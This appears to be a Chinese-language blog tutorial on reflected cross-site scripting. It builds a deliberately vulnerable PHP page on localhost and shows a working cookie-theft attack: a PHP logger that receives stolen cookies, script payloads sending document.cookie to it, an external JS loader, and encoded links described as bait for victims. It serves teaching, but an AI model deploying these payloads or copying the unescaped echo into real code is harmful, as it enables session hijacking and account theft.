跨站脚本攻击XSS

0x00 XSS

XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。比如获取用户Cookie,会话劫持,钓鱼欺骗等多种攻击。

0x01 XSS的原理

XSS的原理其实也就是上面所说,恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
HTML的script元素标记中间包含JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成HTML或者XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web浏览器本身的设计是不安全的,它只负责解释和执行JavaScript等脚本语言,而不会判断代码是否有害。

0x02 XSS的危害

XSS在OWASP中一直占据着前十的地位,虽然表面上XSS不像sql注入、文件上传之类的漏洞一样直接可以获得很高的权限,但是因为xss漏洞广泛存在于各类网站之中,运用起来灵活多变,所以深受黑客偏爱。
它的常见危害有:

  • (1)网络钓鱼,盗取各类用户的账号
  • (2)窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作
  • (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
  • (4)强制弹出广告页面,刷流量等
  • (5)传播木马

0x03 漏洞复现

首先我们要搭建漏洞环境,这里我们可以选用之前博客中提到的的LAMP环境,也可以搭建一个wamp环境,这里为了方便,我就在windows下搭建环境测试了,首先我们在wamp的www/xss文件夹下新建test.php,然后输入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS test</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
setcookie('cookie','test');
$xss = $_GET['xss_input'];
echo 'your input is:<br>'.$xss;
?>
</body>
</html>

然后保存并打开wamp服务

通过浏览器访问127.0.0.1/xss/test.php来访问刚才创建的页面,

我们在输入框输入,点击提交,发现出现有如下图的xss的弹窗,此时环境搭建完成。

0x04 漏洞利用

如果只是控制弹窗,我们并不能直观的看到它的危害,下来我们尝试利用xss漏洞,看看能做到什么程度。
XSS最经常使用的就是获取Cookie了,攻击者通常利用网站的xss漏洞向页面写入窃取Cookie信息的代码,在用户浏览网页时,攻击者就会获取受害者当前浏览器中的Cookie信息。此时攻击者可以将Cookie信息向服务器提交,然后以受害者的身份登陆网站。
我们尝试一个最简单的反射型xss获取用户cookie。
我们先在自己的远程服务器上写一个php页面和一个js脚本来接收Cookie并保存:
hk.php:

1
2
3
4
5
6
<?php
$cookie = $_GET["q"];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

这段代码的作用是读取q的值,然后以增加的方式打开cookie.txt,然后将读取到的值写入cookie.txt。

然后我们在漏洞页面构造如下xss:

1
<script>var x=new Image();x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;</script>

然后我们发现,cookie.txt中,已经有我们刚才页面的cookie了

并且查看源代码,发现源代码中有这样一句javascript

这个时候,如果把下面链接发送给别人,别人点到就可以获取它的cookie了

1
http://127.0.0.1/xss/test.php?xss_input=%3Cscript%3Evar+x%3Dnew+Image%28%29%3Bx.src%3D%22http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.php%3Fq%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E

虽然这样可以达成效果,但是我们发现,恶意代码都明明显显的写到url中了,很少会有人上当,而且url长度太长,遇到某些不能输入这么长js脚本的输入框怎么办?

所以就有了一个更好的解决办法,那就是将js脚本写到自己的服务器中,在搜索框中只需要调用咱们自己服务器上面的脚本就可以了。

我们在自己服务器中和刚才的hk.php同路径创建一个hk.js

hk.js:

1
2
var x=new Image();
x.src="http://127.0.0.1/xss/hk/hk.php?q="+document.cookie;

然后在漏洞界面写入如下xss:

1
<script src = http://127.0.0.1/xss/hk/hk.js></script>

发现结果cookie.txt多了一行

并且源码中的javascript如下

然后我们构造一个链接来欺骗用户

1
http://127.0.0.1/xss/test.php?xss_input=%3Cscript+src+%3D+http%3A%2F%2F127.0.0.1%2Fxss%2Fhk%2Fhk.js%3E%3C%2Fscript%3E

只要用户点击此链接,cookie就会被记录到我们服务器上的cookie.txt里面。

以上就是一次反射性xss最简单的利用方式。

0x05 总结

xss漏洞因为其危害不直观,往往不受到重视,但是它的运用十分灵活,绕过方式也和sql注入一样十分丰富,在有些时候可以达到意想不到的效果。
这次暂时就写到这里,下一篇关于xss的博客会详细的介绍xss的一些绕过检测和限制的方式,还有利用xss进行网络钓鱼以及网页挂马的方法。